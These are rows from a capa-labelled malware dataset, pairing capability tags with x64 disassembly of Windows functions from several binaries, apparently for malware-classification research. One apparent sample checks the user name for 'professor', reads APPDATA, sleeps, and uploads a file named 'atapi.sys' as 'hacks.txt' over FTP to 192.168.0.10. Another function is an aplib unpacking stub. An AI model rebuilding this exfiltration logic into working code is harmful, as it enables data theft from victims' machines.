joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004630
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140004703
cmp byte [rcx + 0x71], 0
je 0x140004703
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400046ff
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400046c4
sub eax, 1
je 0x1400046c8
cmp eax, 2
jne 0x1400046ff
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400053c0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1400046f6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1400046ff
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400046ac
xor al, al
jmp 0x1400046ac
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400053c0
add rsp, 0x60
pop rbx
ret

Function at 0x140005e10
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005e5a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005e5a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005e5a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005e5a
cmp dword [rcx + 0x84], 0xe
jbe 0x140005e5a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005e5c
xor al, al
add rsp, 0x28
ret
Function at 0x1807a9058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1807a91df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1807a9089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807a906f
add dl, dl
jne 0x1807a9096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807a90f6
xor eax, eax
add dl, dl
jne 0x1807a90a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1807a91ad
add dl, dl
jne 0x1807a90b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807a90c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807a90d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807a90dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1807a90ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1807a907e
mov eax, 1
add dl, dl
jne 0x1807a9106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1807a9113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807a90fb
sub eax, ebx
mov ebx, 1
jne 0x1807a914c
mov ecx, 1
add dl, dl
jne 0x1807a912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1807a913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807a9123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1807a907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1807a9168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1807a9175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1807a915d
cmp eax, 0x7d00
jae 0x1807a919b
cmp eax, 0x500
jb 0x1807a9196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1807a907e
cmp eax, 0x7f
ja 0x1807a919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1807a907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1807a91d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1807a907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001b40
Capabilities:
Query environment variable

Disassembly:
mov r11, rsp
sub rsp, 0x258
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov qword [r11 + 0x10], rbp
lea rdx, [rsp + 0x30]
mov r8d, 0x104
mov qword [r11 + 0x18], rsi
lea rcx, str.APPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea rax, [rsp + 0x30]
mov rdx, 0xffffffffffffffff
nop dword [rax + rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x140001b90
mov rax, qword [0x14000c0d8]
lea rsi, [0x14000c0c0]
xor ebp, ebp
mov qword [rsp + 0x260], rbx
mov qword [rsp + 0x250], rdi
cmp rdx, rax
ja 0x140001bef
lea rbx, [rdx + rdx]
mov qword [0x14000c0d0], rdx
cmp rax, 7
lea rdx, [rsp + 0x30]
mov rdi, rsi
mov r8, rbx
cmova rdi, qword [0x14000c0c0]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi], bp
jmp 0x140001bf9
lea r9, [rsp + 0x30]
call fcn.140005ce0
mov rdx, qword [0x14000c0d8]
mov rcx, qword [0x14000c0d0]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x140001c49
cmp rdx, 7
lea rdi, [rcx + 8]
mov rbx, rsi
mov qword [0x14000c0d0], rdi
cmova rbx, qword [0x14000c0c0]
lea rdx, str.WPDNSE_
mov r8d, 0x10
lea rcx, [rbx + rcx*2]
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2], bp
jmp 0x140001c66
lea r9, str.WPDNSE_
mov qword [rsp + 0x20], 8
mov edx, 8
mov rcx, rsi
call fcn.140005e50
cmp qword [0x14000c0d8], 7
mov r8, qword [0x14000c0d0]
cmova rsi, qword [0x14000c0c0]
mov rdx, rsi
call fcn.140006040
lea rdx, [0x1400086fc]
mov rcx, rax
call fcn.1400051f0
lea rcx, [0x14000c0e8]
call fcn.140004ea0
mov rdi, qword [rsp + 0x250]
mov rsi, qword [rsp + 0x270]
mov rbp, qword [rsp + 0x268]
mov rbx, qword [rsp + 0x260]
test rax, rax
jne 0x140001ce8
mov rax, qword [0x14000c0e0]
xor r8d, r8d
mov edx, 2
movsxd rcx, dword [rax + 4]
lea rax, [0x14000c0e0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140006600
add rsp, 0x258
ret
Function at 0x140001d00
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor esi, esi
mov dword [rsp + 0x40], 0x7d0
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
je 0x140001d97
mov qword [rsp + 0x38], rsi
lea rdx, str.192.168.0.10
mov dword [rsp + 0x30], esi
mov r8d, 0x849
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov rcx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_InternetConnectW]
mov r9d, 4
lea r8, [rsp + 0x40]
mov edx, 5
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rdi, rdi
jne 0x140001dc0
lea rdx, str.Error:
lea rcx, [0x14000c0e0]
call fcn.1400051f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
jmp 0x140001e3d
mov r9d, 2
mov qword [rsp + 0x20], rsi
lea r8, str.hacks.txt
mov rcx, rdi
lea rdx, str.atapi.sys
call qword [sym.imp.WININET.dll_FtpPutFileW]
test eax, eax
jne 0x140001e3d
lea rdi, [0x14000c0e0]
mov rcx, rdi
lea rdx, str.Error:
call fcn.1400051f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rcx, [0x14000c0e8]
call fcn.140004ea0
test rax, rax
jne 0x140001e3d
mov rax, qword [0x14000c0e0]
xor r8d, r8d
mov edx, 2
movsxd rcx, dword [rax + 4]
add rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140006600
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140003f00
Capabilities:
Create thread
Get session user name

Disassembly:
sub rsp, 0x158
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x100
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x140003fd4
lea rdx, str.professor
lea rcx, [rsp + 0x40]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test rax, rax
je 0x140003fcb
lea rdx, str.O_nome_do_usurio_contm_professor.
call fcn.1400056b0
lea rdx, [0x140005890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001b40
call fcn.140001e60
call fcn.140003ac0
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400021d0
call fcn.140001d00
xor eax, eax
lea r8, [0x140003a00]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140003ff7
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140003ff7
lea rdx, str.O_nome_do_usurio_NO_contm_professor.
jmp 0x140003fe2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Erro_ao_obter_o_nome_do_usurio.
call fcn.1400056b0
lea rdx, [0x140005890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140006600
add rsp, 0x158
ret
Function at 0x140004810
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, 0xffff
movzx edi, dx
mov rbx, rcx
cmp si, dx
jne 0x140004841
xor eax, eax
jmp 0x14000498b
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x14000487e
mov r9, qword [rcx + 0x58]
movsxd r10, dword [r9]
lea rdx, [r8 + r10*2]
cmp r8, rdx
jae 0x14000487e
lea ecx, [r10 - 1]
movzx eax, di
mov dword [r9], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], di
jmp 0x14000498b
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xb0], rbp
je 0x140004980
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x1400048c5
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400048d3
movzx ecx, di
jmp 0x140004927
lea rax, [rsp + 0x40]
mov word [rsp + 0x50], di
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x52]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140004940
sub eax, 1
je 0x140004940
cmp eax, 2
jne 0x140004980
movzx ecx, word [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
cmp ax, si
cmove di, si
movzx eax, di
jmp 0x140004983
mov rbp, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbp, rax
je 0x14000496e
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbp
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbp, rax
jne 0x140004980
lea rax, [rsp + 0x50]
mov byte [rbx + 0x72], 1
cmp qword [rsp + 0x48], rax
cmovne si, di
movzx eax, si
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140006600
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x140004db0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000c040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140004e85
cmp byte [rcx + 0x72], 0
je 0x140004e85
mov rax, qword [rcx]
mov qword [rsp + 0x78], rdi
mov edi, 0xffff
mov edx, edi
call qword [rax + 0x18]
cmp di, ax
je 0x140004e81
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140004e46
sub eax, 1
je 0x140004e4a
cmp eax, 2
jne 0x140004e81
mov byte [rbx + 0x72], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140006600
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x72], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140004e78
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140004e81
cmp byte [rbx + 0x72], 0
sete al
jmp 0x140004e2e
xor al, al
jmp 0x140004e2e
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140006600
add rsp, 0x60
pop rbx
ret

Function at 0x14000726c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400072b6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400072b6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400072b6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400072b6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400072b6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400072b8
xor al, al
add rsp, 0x28
ret
Function at 0x140001dfc
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor ebp, ebp
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
cmp qword [rcx], rbp
jne 0x140001e38
lea r8, str.m_hKey___0
mov edx, 0x16a8
lea rcx, str.sdkinc_atlmfc_atlbase.h
call fcn.140082070
test rbx, rbx
je 0x140001e84
or rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], bp
jne 0x140001e41
mov rcx, qword [rdi]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
lea r8, str.__atl_condVal
mov edx, 0x16a9
lea rcx, str.sdkinc_atlmfc_atlbase.h
call fcn.140082070
mov ecx, 0x80004005
call fcn.140001b04
int3

Function at 0x140001ea8
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x14016f608]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor eax, eax
mov rsi, rdx
mov r8, rdx
mov qword [rsp + 0x48], rax
mov rdx, qword [rcx]
mov rdi, rcx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x50], rax
mov r9d, 0x2001f
mov qword [rsp + 0x58], rax
call fcn.140001d48
jmp 0x140001f0e
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140001ea8
mov ebx, eax
test eax, eax
jne 0x140001f74
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
xor ebx, ebx
mov dword [rsp + 0x40], 0x100
mov qword [rsp + 0x30], rbx
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140001eff
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140001f67
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x48], rbx
mov rdx, rsi
mov rcx, rdi
call fcn.140001bc4
mov ebx, eax
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140001f84
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.14013e290
mov rbx, qword [rsp + 0x2b0]
add rsp, 0x280
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002650
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x490
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov rax, qword [0x14016f608]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov r14, r9
mov rdi, r8
mov rax, rdx
xor ebx, ebx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x70], rbx
xor edx, edx
lea r8d, [rbx + 2]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x1400026c1
call fcn.140001b64
mov ebx, eax
jmp 0x14000282c
xor r9d, r9d
mov r8, rdi
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
mov rdi, rax
test rax, rax
jne 0x1400026e5
call fcn.140001b64
jmp 0x140002820
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r15, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400026db
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, edi
jae 0x140002751
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x14000272d
lea rcx, [rsp + 0x70]
call fcn.140004808
nop
mov eax, 0x8007000e
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.14013e290
add rsp, 0x490
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
mov r14d, eax
test eax, eax
jne 0x14000275d
mov r14, rbx
jmp 0x140002773
xor edx, edx
or rax, 0xffffffffffffffff
div r14
cmp rax, 2
jb 0x14000284a
add r14, r14
cmp qword [rsp + 0x70], rbx
je 0x140002792
lea r8, str.m_p__0
mov edx, 0x207
lea rcx, str.sdkinc_atlmfc_atlalloc.h
call fcn.140082070
cmp r14, 0x400
jbe 0x1400027af
mov rdx, r14
lea rcx, [rsp + 0x70]
call fcn.140004908
mov rax, qword [rsp + 0x70]
jmp 0x1400027b9
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
jmp 0x1400027d0
test rax, rax
jne 0x1400027dc
mov ebx, 0x8007000e
jmp 0x140002822
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov r9d, edi
mov r8, r15
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x1400026db
mov ecx, eax
mov rax, qword [rsp + 0x70]
mov word [rax + rcx*2], bx
mov r8d, dword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.14000345c
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x140002843
lea rcx, [rsp + 0x70]
call fcn.140004808
nop
mov eax, ebx
jmp 0x140002732
mov ecx, 0x80070057
call fcn.140001b04
int3
Function at 0x14002377c
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov r14, rdx
mov rbx, rcx
mov rcx, qword [0x14016f048]
lea r15, [0x14016f048]
cmp rcx, r15
je 0x1400237ce
test byte [rcx + 0x1c], 1
je 0x1400237ce
cmp byte [rcx + 0x19], 4
jb 0x1400237ce
mov rcx, qword [rcx + 0x10]
lea r8, [0x140148140]
mov edx, 0x1f7
call fcn.1400049d8
and qword [rsp + 0x60], 0
test r14, r14
jne 0x1400237f1
lea r8, str.pbExist
mov edx, 0x2e75
lea rcx, str.base_stor_blbengine_service_backup.cpp
call fcn.140082070
test rbx, rbx
jne 0x14002380e
lea r8, str.wszSnapshotName
mov edx, 0x2e76
lea rcx, str.base_stor_blbengine_service_backup.cpp
call fcn.140082070
lea rdx, [rsp + 0x60]
mov byte [r14], 1
mov rcx, rbx
call fcn.140082ccc
mov rbx, qword [rsp + 0x60]
mov esi, eax
test eax, eax
js 0x14002397f
xor edi, edi
and qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x2000000
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 7]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x1400238d8
lea r15d, [rdi + 1]
cmp r15d, 5
jae 0x1400238bf
mov rcx, qword [0x14016f048]
lea rax, [0x14016f048]
cmp rcx, rax
je 0x1400238a7
test byte [rcx + 0x1c], 1
je 0x1400238a7
cmp byte [rcx + 0x19], 4
jb 0x1400238a7
mov rcx, qword [rcx + 0x10]
lea r8, [0x140148140]
mov edx, 0x1fa
mov qword [rsp + 0x20], rbx
mov r9d, edi
call fcn.14000fb88
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
or rbp, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edi, r15d
cmp r15d, 5
jb 0x140023830
lea r15, [0x14016f048]
jmp 0x140023970
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x140023927
mov rcx, qword [0x14016f048]
lea r15, [0x14016f048]
cmp rcx, r15
je 0x140023921
test byte [rcx + 0x1c], 1
je 0x140023921
cmp byte [rcx + 0x19], 4
jb 0x140023921
mov rcx, qword [rcx + 0x10]
lea r8, [0x140148140]
mov edx, 0x1f8
mov r9, rbx
call fcn.1400058d8
mov rcx, qword [0x14016f048]
mov byte [r14], 0
jmp 0x140023986
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
mov rcx, qword [0x14016f048]
lea r15, [0x14016f048]
cmp rcx, r15
je 0x140023986
test byte [rcx + 0x1c], 1
je 0x140023986
cmp byte [rcx + 0x19], 2
jb 0x140023986
mov rcx, qword [rcx + 0x10]
lea r8, [0x140148140]
mov edx, 0x1f9
mov dword [rsp + 0x20], esi
mov r9, rbx
call fcn.140005938
cmp rbp, 0xffffffffffffffff
je 0x14002397f
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14016f048]
test rbx, rbx
je 0x14002399b
mov rcx, rbx
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rcx, qword [0x14016f048]
cmp rcx, r15
je 0x1400239c1
test byte [rcx + 0x1c], 1
je 0x1400239c1
cmp byte [rcx + 0x19], 4
jb 0x1400239c1
mov rcx, qword [rcx + 0x10]
lea r8, [0x140148140]
mov edx, 0x1fb
call fcn.1400049d8
mov rbx, qword [rsp + 0x68]
mov eax, esi
mov rsi, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret